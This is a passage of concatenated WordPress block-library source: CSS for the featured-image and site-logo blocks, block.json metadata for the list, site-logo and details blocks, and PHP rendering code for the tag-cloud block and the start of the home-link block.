.wp-block-post-featured-image__placeholder{align-items:center;display:flex;justify-content:center;min-height:200px;padding:0}.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{display:none}.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{color:inherit}.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){border-right-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){border-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){border-top-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){border-left-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){border-bottom-style:solid}.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){border-right-style:solid}.wp-block-post-featured-image[style*=height] .components-placeholder{height:100%;min-height:48px;min-width:48px;width:100%}.wp-block-post-featured-image>a{cursor:default}.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}div[data-type="core/post-featured-image"] img{display:block;height:auto;max-width:100%}.wp-block-post-featured-image .block-editor-media-placeholder{
  -webkit-backdrop-filter:none;
          backdrop-filter:none;
  z-index:1;
}
.wp-block-post-featured-image .components-placeholder,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder{
  align-items:center;
  display:flex;
  justify-content:center;
  min-height:200px;
  padding:0;
}
.wp-block-post-featured-image .components-placeholder .components-form-file-upload,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-form-file-upload{
  display:none;
}
.wp-block-post-featured-image .components-placeholder .components-button,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-post-featured-image .components-placeholder .components-button>svg,.wp-block-post-featured-image .wp-block-post-featured-image__placeholder .components-button>svg{
  color:inherit;
}
.wp-block-post-featured-image .components-placeholder:where(.has-border-color),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where(.has-border-color),.wp-block-post-featured-image img:where(.has-border-color){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-color]),.wp-block-post-featured-image img:where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-color]),.wp-block-post-featured-image img:where([style*=border-right-color]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-color]),.wp-block-post-featured-image img:where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-color]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-color]),.wp-block-post-featured-image img:where([style*=border-left-color]){
  border-left-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-width]),.wp-block-post-featured-image img:where([style*=border-width]){
  border-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-top-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-top-width]),.wp-block-post-featured-image img:where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-right-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-right-width]),.wp-block-post-featured-image img:where([style*=border-right-width]){
  border-right-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-bottom-width]),.wp-block-post-featured-image img:where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-post-featured-image .components-placeholder:where([style*=border-left-width]),.wp-block-post-featured-image .wp-block-post-featured-image__placeholder:where([style*=border-left-width]),.wp-block-post-featured-image img:where([style*=border-left-width]){
  border-left-style:solid;
}
.wp-block-post-featured-image[style*=height] .components-placeholder{
  height:100%;
  min-height:48px;
  min-width:48px;
  width:100%;
}
.wp-block-post-featured-image>a{
  cursor:default;
}
.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-button,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__instructions,.wp-block-post-featured-image.is-selected .components-placeholder.has-illustration .components-placeholder__label{
  opacity:1;
  pointer-events:auto;
}

div[data-type="core/post-featured-image"] img{
  display:block;
  height:auto;
  max-width:100%;
}.wp-block-post-featured-image{margin-left:0;margin-right:0}.wp-block-post-featured-image a{display:block;height:100%}.wp-block-post-featured-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom;width:100%}.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{width:100%}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{background-color:#000;inset:0;position:absolute}.wp-block-post-featured-image{position:relative}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{background-color:initial}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{opacity:0}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{opacity:.1}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{opacity:.2}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{opacity:.3}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{opacity:.4}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{opacity:.5}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{opacity:.6}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{opacity:.7}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{opacity:.8}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{opacity:.9}.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{opacity:1}.wp-block-post-featured-image:where(.alignleft,.alignright){width:100%}.wp-block-post-featured-image{
  margin-left:0;
  margin-right:0;
}
.wp-block-post-featured-image a{
  display:block;
  height:100%;
}
.wp-block-post-featured-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
  width:100%;
}
.wp-block-post-featured-image.alignfull img,.wp-block-post-featured-image.alignwide img{
  width:100%;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim{
  background-color:#000;
  inset:0;
  position:absolute;
}
.wp-block-post-featured-image{
  position:relative;
}

.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-gradient{
  background-color:initial;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-0{
  opacity:0;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-10{
  opacity:.1;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-20{
  opacity:.2;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-30{
  opacity:.3;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-40{
  opacity:.4;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-50{
  opacity:.5;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-60{
  opacity:.6;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-70{
  opacity:.7;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-80{
  opacity:.8;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-90{
  opacity:.9;
}
.wp-block-post-featured-image .wp-block-post-featured-image__overlay.has-background-dim-100{
  opacity:1;
}
.wp-block-post-featured-image:where(.alignleft,.alignright){
  width:100%;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/list",
	"title": "List",
	"category": "text",
	"allowedBlocks": [ "core/list-item" ],
	"description": "Create a bulleted or numbered list.",
	"keywords": [ "bullet list", "ordered list", "numbered list" ],
	"textdomain": "default",
	"attributes": {
		"ordered": {
			"type": "boolean",
			"default": false,
			"__experimentalRole": "content"
		},
		"values": {
			"type": "string",
			"source": "html",
			"selector": "ol,ul",
			"multiline": "li",
			"__unstableMultilineWrapperTags": [ "ol", "ul" ],
			"default": "",
			"__experimentalRole": "content"
		},
		"type": {
			"type": "string"
		},
		"start": {
			"type": "number"
		},
		"reversed": {
			"type": "boolean"
		},
		"placeholder": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"className": false,
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__unstablePasteTextInline": true,
		"__experimentalSelector": "ol,ul",
		"__experimentalOnMerge": true,
		"__experimentalSlashInserter": true,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-list-editor",
	"style": "wp-block-list"
}
ol,ul{
  box-sizing:border-box;
}
ol.has-background,ul.has-background{
  padding:1.25em 2.375em;
}ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}ol,ul{box-sizing:border-box}ol.has-background,ul.has-background{padding:1.25em 2.375em}ol,ul{
  box-sizing:border-box;
}
ol.has-background,ul.has-background{
  padding:1.25em 2.375em;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/site-logo",
	"title": "Site Logo",
	"category": "theme",
	"description": "Display an image to represent this site. Update this block and the changes apply everywhere.",
	"textdomain": "default",
	"attributes": {
		"width": {
			"type": "number"
		},
		"isLink": {
			"type": "boolean",
			"default": true
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		},
		"shouldSyncIcon": {
			"type": "boolean"
		}
	},
	"example": {
		"viewportWidth": 500,
		"attributes": {
			"width": 350,
			"className": "block-editor-block-types-list__site-logo-example"
		}
	},
	"supports": {
		"html": false,
		"align": true,
		"alignWide": false,
		"color": {
			"__experimentalDuotone": "img, .components-placeholder__illustration, .components-placeholder::before",
			"text": false,
			"background": false
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{
			"name": "default",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "rounded", "label": "Rounded" }
	],
	"editorStyle": "wp-block-site-logo-editor",
	"style": "wp-block-site-logo"
}
.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-upload-container{position:relative}.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{
  display:table;
  margin-left:auto;
  margin-right:auto;
}

.wp-block-site-logo a{
  pointer-events:none;
}
.wp-block-site-logo .custom-logo-link{
  cursor:inherit;
}
.wp-block-site-logo .custom-logo-link:focus{
  box-shadow:none;
}
.wp-block-site-logo .custom-logo-link.is-transient img{
  opacity:.3;
}
.wp-block-site-logo img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{
  height:60px;
  width:60px;
}
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{
  border-radius:inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder{
  align-items:center;
  border-radius:inherit;
  display:flex;
  height:100%;
  justify-content:center;
  min-height:48px;
  min-width:48px;
  padding:0;
  width:100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{
  display:none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{
  color:inherit;
}

.block-library-site-logo__inspector-upload-container{
  position:relative;
}
.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{
  display:none;
}

.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{
  box-shadow:inset 0 0 0 1px #ccc;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-library-site-logo__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-library-site-logo__inspector-media-replace-container img{
  aspect-ratio:1;
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  min-width:20px;
  width:20px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{
  display:flex;
  height:40px;
  padding:6px 12px;
}.wp-block-site-logo{
  box-sizing:border-box;
  line-height:0;
}
.wp-block-site-logo a{
  display:inline-block;
  line-height:0;
}
.wp-block-site-logo.is-default-size img{
  height:auto;
  width:120px;
}
.wp-block-site-logo img{
  height:auto;
  max-width:100%;
}
.wp-block-site-logo a,.wp-block-site-logo img{
  border-radius:inherit;
}
.wp-block-site-logo.aligncenter{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}
.wp-block-site-logo.is-style-rounded{
  border-radius:9999px;
}.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-upload-container{position:relative}.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{
  display:table;
  margin-left:auto;
  margin-right:auto;
}

.wp-block-site-logo a{
  pointer-events:none;
}
.wp-block-site-logo .custom-logo-link{
  cursor:inherit;
}
.wp-block-site-logo .custom-logo-link:focus{
  box-shadow:none;
}
.wp-block-site-logo .custom-logo-link.is-transient img{
  opacity:.3;
}
.wp-block-site-logo img{
  display:block;
  height:auto;
  max-width:100%;
}

.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{
  height:60px;
  width:60px;
}
.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{
  border-radius:inherit;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder{
  align-items:center;
  border-radius:inherit;
  display:flex;
  height:100%;
  justify-content:center;
  min-height:48px;
  min-width:48px;
  padding:0;
  width:100%;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{
  display:none;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{
  align-items:center;
  background:var(--wp-admin-theme-color);
  border-color:var(--wp-admin-theme-color);
  border-radius:50%;
  border-style:solid;
  color:#fff;
  display:flex;
  height:48px;
  justify-content:center;
  padding:0;
  position:relative;
  width:48px;
}
.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{
  color:inherit;
}

.block-library-site-logo__inspector-upload-container{
  position:relative;
}
.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{
  display:none;
}

.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{
  box-shadow:inset 0 0 0 1px #ccc;
  color:#1e1e1e;
  display:block;
  height:40px;
  width:100%;
}
.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{
  color:var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{
  box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{
  text-align:start;
  text-align-last:center;
  white-space:normal;
  word-break:break-all;
}

.block-library-site-logo__inspector-media-replace-container .components-dropdown{
  display:block;
}
.block-library-site-logo__inspector-media-replace-container img{
  aspect-ratio:1;
  border-radius:50% !important;
  box-shadow:inset 0 0 0 1px #0003;
  min-width:20px;
  width:20px;
}
.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{
  display:flex;
  height:40px;
  padding:6px 12px;
}.wp-block-site-logo{box-sizing:border-box;line-height:0}.wp-block-site-logo a{display:inline-block;line-height:0}.wp-block-site-logo.is-default-size img{height:auto;width:120px}.wp-block-site-logo img{height:auto;max-width:100%}.wp-block-site-logo a,.wp-block-site-logo img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}.wp-block-site-logo{
  box-sizing:border-box;
  line-height:0;
}
.wp-block-site-logo a{
  display:inline-block;
  line-height:0;
}
.wp-block-site-logo.is-default-size img{
  height:auto;
  width:120px;
}
.wp-block-site-logo img{
  height:auto;
  max-width:100%;
}
.wp-block-site-logo a,.wp-block-site-logo img{
  border-radius:inherit;
}
.wp-block-site-logo.aligncenter{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}
.wp-block-site-logo.is-style-rounded{
  border-radius:9999px;
}<?php
/**
 * Server-side rendering of the `core/tag-cloud` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/tag-cloud` block on server.
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the tag cloud for selected taxonomy.
 */
function render_block_core_tag_cloud( $attributes ) {
	$smallest_font_size = $attributes['smallestFontSize'];
	$unit               = ( preg_match( '/^[0-9.]+(?P<unit>[a-z%]+)$/i', $smallest_font_size, $m ) ? $m['unit'] : 'pt' );

	$args      = array(
		'echo'       => false,
		'unit'       => $unit,
		'taxonomy'   => $attributes['taxonomy'],
		'show_count' => $attributes['showTagCounts'],
		'number'     => $attributes['numberOfTags'],
		'smallest'   => floatVal( $attributes['smallestFontSize'] ),
		'largest'    => floatVal( $attributes['largestFontSize'] ),
	);
	$tag_cloud = wp_tag_cloud( $args );

	if ( ! $tag_cloud ) {
		$tag_cloud = __( 'There&#8217;s no content to show here yet.' );
	}

	$wrapper_attributes = get_block_wrapper_attributes();

	return sprintf(
		'<p %1$s>%2$s</p>',
		$wrapper_attributes,
		$tag_cloud
	);
}

/**
 * Registers the `core/tag-cloud` block on server.
 */
function register_block_core_tag_cloud() {
	register_block_type_from_metadata(
		__DIR__ . '/tag-cloud',
		array(
			'render_callback' => 'render_block_core_tag_cloud',
		)
	);
}
add_action( 'init', 'register_block_core_tag_cloud' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/details",
	"title": "Details",
	"category": "text",
	"description": "Hide and show additional content.",
	"keywords": [ "accordion", "summary", "toggle", "disclosure" ],
	"textdomain": "default",
	"attributes": {
		"showContent": {
			"type": "boolean",
			"default": false
		},
		"summary": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "summary"
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"__experimentalBorder": {
			"color": true,
			"width": true,
			"style": true
		},
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"blockGap": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowEditing": false
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-details-editor",
	"style": "wp-block-details"
}
.wp-block-details summary div{display:inline}.wp-block-details summary div{
  display:inline;
}.wp-block-details{
  box-sizing:border-box;
  overflow:hidden;
}

.wp-block-details summary{
  cursor:pointer;
}.wp-block-details{box-sizing:border-box;overflow:hidden}.wp-block-details summary{cursor:pointer}.wp-block-details summary div{display:inline}.wp-block-details summary div{
  display:inline;
}.wp-block-details{box-sizing:border-box;overflow:hidden}.wp-block-details summary{cursor:pointer}.wp-block-details{
  box-sizing:border-box;
  overflow:hidden;
}

.wp-block-details summary{
  cursor:pointer;
}<?php
/**
 * Server-side rendering of the `core/home-link` block.
 *
 * @package WordPress
 */

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the home link markup in the front-end.
 *
 * @param  array $context home link block context.
 * @return array Colors CSS classes and inline styles.
 */
function block_core_home_link_build_css_colors( $context ) {
	$colors = array(
		'css_classes'   => array(),
		'inline_styles' => '',
	);

	// Text color.
	$has_named_text_color  = array_key_exists( 'textColor', $context );
	$has_custom_text_color = isset( $context['style']['color']['text'] );

	// If has text color.
	if ( $has_custom_text_color || $has_named_text_color ) {
		// Add has-text-color class.
		$colors['css_classes'][] = 'has-text-color';
